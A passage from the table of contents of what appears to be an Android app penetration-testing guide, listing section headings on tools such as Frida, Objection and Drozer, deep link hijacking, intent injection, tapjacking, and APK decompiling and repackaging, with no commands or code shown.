File Scraper

SQLite 3

Nuclei

Backups

5. SpotBugs

6. Deep Links

Android App Link Verification Tester

Deep Link Hijacking

7. WebViews

8. Frida

Frida Scripts

9. Objection

Bypasses

10. Drozer

Intents

Content Providers

Broadcast Receivers

Services

11. Intent Injections

12. Taskjacking

13. Tapjacking

14. Decompile an APK

15. Repackage an APK

Decode

Repackage

Code Sign

16. Miscellaneous

Monitor the System Log

Monitor File Changes

17. Tips and Security Best Practices

18. Useful Websites and Tools

19. Vulnerable Apps

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